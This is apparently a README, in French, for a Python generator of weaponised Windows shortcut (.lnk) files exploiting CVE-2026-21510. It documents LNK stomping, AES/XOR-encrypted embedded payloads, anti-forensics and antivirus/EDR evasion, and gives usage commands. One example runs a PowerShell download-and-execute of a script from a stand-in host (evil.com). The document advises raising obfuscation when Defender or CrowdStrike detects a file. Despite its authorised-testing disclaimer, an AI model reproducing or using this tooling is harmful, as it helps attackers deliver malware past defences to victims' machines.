Génère des fichiers .lnk obfusqués exploitant CVE-2026-21510 avec LNK stomping, des charges utiles chiffrées et des techniques anti-forensiques pour les tests d'intrusion autorisés et les opérations red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Générateur de .LNK Outil pour la génération de fichiers .lnk utilisant la vulnérabilité CVE-2026-21510 (Windows ShellLink Remote Code Execution). Conçu pour la recherche en sécurité offensive, les tests de pénétration autorisés, et l'analyse de vulnérabilités.
Avertissement Légal ⚠️ CET OUTIL EST DESTINÉ UNIQUEMENT À UN USAGE LÉGAL ET AUTORISÉ. Toute utilisation non autorisée contre des systèmes ou réseaux violerait les lois locales et internationales (ex: Computer Fraud and Abuse Act (CFAA), RGPD, Loi Godfrain en France). L'auteur décline toute responsabilité en cas de mauvaise utilisation. (Voir la Clause de Non-Responsabilité ci-dessous.)
Description Ce générateur crée des fichiers .lnk obfusqués pour utiliser CVE-2026-21510, une vulnérabilité dans le traitement des raccourcis Windows. Il intègre :
LNK Stomping (5 variantes : dot, path_segment, relative, double_extension, unicode)
PropertyStore avec CLSID aléatoires et PKEY
KnownFolderDataBlock (KnownFolderID aléatoires ou ciblés)
EnvironmentVariableDataBlock (obfuscation Unicode, variables dynamiques)
Obfuscation (Niveaux 1-5 : TrackerDataBlock, ConsoleDataBlock, blocs aléatoires)
Payloads embarqués et chiffrés (AES-256-CBC + XOR)
Anti-Forensics (timestamps à 0, taille de fichier à 0, métadonnées minimales)
Contournement EDR/AV (processus légitimes, arguments obfusqués en PowerShell)
Génération de variantes aléatoires (10+ variantes uniques pour éviter les signatures)
Prérequis Système OS : Windows (pour tester les .lnk générés) ou Linux/macOS (pour la génération).
Python : ≥ 3.10. Dépendances : pip install pycryptodome
Outils Recommandés Analyse : PEStudio, Detect It Easy (DIE)
Debug : x64dbg, WinDbg
Tests : Machine virtuelle Windows (ex: Windows 10/11 sur VirtualBox) isolée.
Installation Cloner le dépôt : git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Installer les dépendances : pip install -r requirements.txt (Optionnel) Créer un environnement virtuel : python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Utilisation
Génération Basique python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Génère un .lnk utilisant CVE-2026-21510 pour lancer calc.exe.
Options Avancées Option Description Valeur par défaut --target Chemin cible (ex: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Arguments pour la cible (ex: /c whoami) /c calc.exe --output Chemin de sortie du .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Répertoire de travail C:\Windows\System32 --description Description du raccourci Chaîne aléatoire --unc Utiliser un chemin UNC (?\C:...) False --lnk-stomping Activer le LNK Stomping True --stomping-variant Variante de LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Ajouter des blocs ExtraData inutiles True --obfuscation-level Niveau d'obfuscation (1-5) 5 --embed-payload Chemin vers un fichier à embarquer (ex: payload.bin) None --encrypt-payload Chiffrer le payload (AES-256-CBC + XOR) True --anti-forensics Appliquer des techniques anti-forensics True --randomize-clsid Randomiser le CLSID dans PropertyStore True --randomize-known-folder Randomiser le KnownFolderID True --obfuscate-arguments Obfusquer les arguments (PowerShell) True --generate-variants Générer N variantes aléatoires 0 --debug Mode debug avancé (logs détaillés) False
Exemples
Exemple 1 : Exploit avec Payload Embarqué
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Génère un .lnk avec un payload chiffré (AES-256 + XOR) et obfusqué.
Exemple 2 : Génération de 10 Variantes Aléatoires
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Crée 10 variantes uniques pour éviter les signatures EDR/AV.
Exemple 3 : Mode Minimaliste (pour tests)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Génère un .lnk non obfusqué (pour analyse ou debug).
Fonctionnement Technique
En-tête ShellLink (0x4C octets fixes + offsets) : LinkCLSID : 00021401-0000-0000-C000-000000000046 (obligatoire). LinkFlags : Configure pour activer HasRelativePath, HasWorkingDir, IsUnicode, etc.
StringData : RelativePath : Chemin cible (avec LNK Stomping si activé). WorkingDir : Répertoire de travail (ex: C:\Windows\System32). Arguments : Arguments obfusqués (PowerShell, cmd, etc.).
ExtraData Blocks (ordre critique) : PropertyStoreDataBlock : Contient PKEY_AppUserModel_ID (CLSID aléatoire). KnownFolderDataBlock : Pointe vers un dossier système (ex: %SystemRoot%). EnvironmentVariableDataBlock : Force l'expansion des variables avant le Mark-of-the-Web (MotW). Blocs d'Obfuscation (selon obfuscation_level) : TrackerDataBlock (Niveau 1) ConsoleDataBlock (Niveau 2) DarwinDataBlock, ShimDataBlock, etc. (Niveaux 3-5)
Payload Embarqué (si --embed-payload) : Chiffré avec AES-256-CBC + XOR.
Le payload est chiffré avec AES-256-CBC (clé aléatoire de 32 octets, IV de 16 octets).
Une couche XOR est appliquée avec les 16 premiers octets de la clé AES.
La clé et l'IV sont stockés dans un ShimDataBlock pour déchiffrement ultérieur.
Tests et Validation
La taille minimale du fichier.
La validité du HeaderSize et du CLSID.
La présence des LinkFlags requis.
La structure des blocs ExtraData (PropertyStore, KnownFolder, etc.).
Exécution (dans un environnement isolé) : Double-cliquer sur le .lnk et observer le comportement. Utiliser Process Monitor (ProcMon) pour analyser les appels système.
Détection EDR/AV : Tester avec des outils comme Windows Defender ou CrowdStrike. Si le .lnk est détecté, augmenter le obfuscation_level ou désactiver certaines options.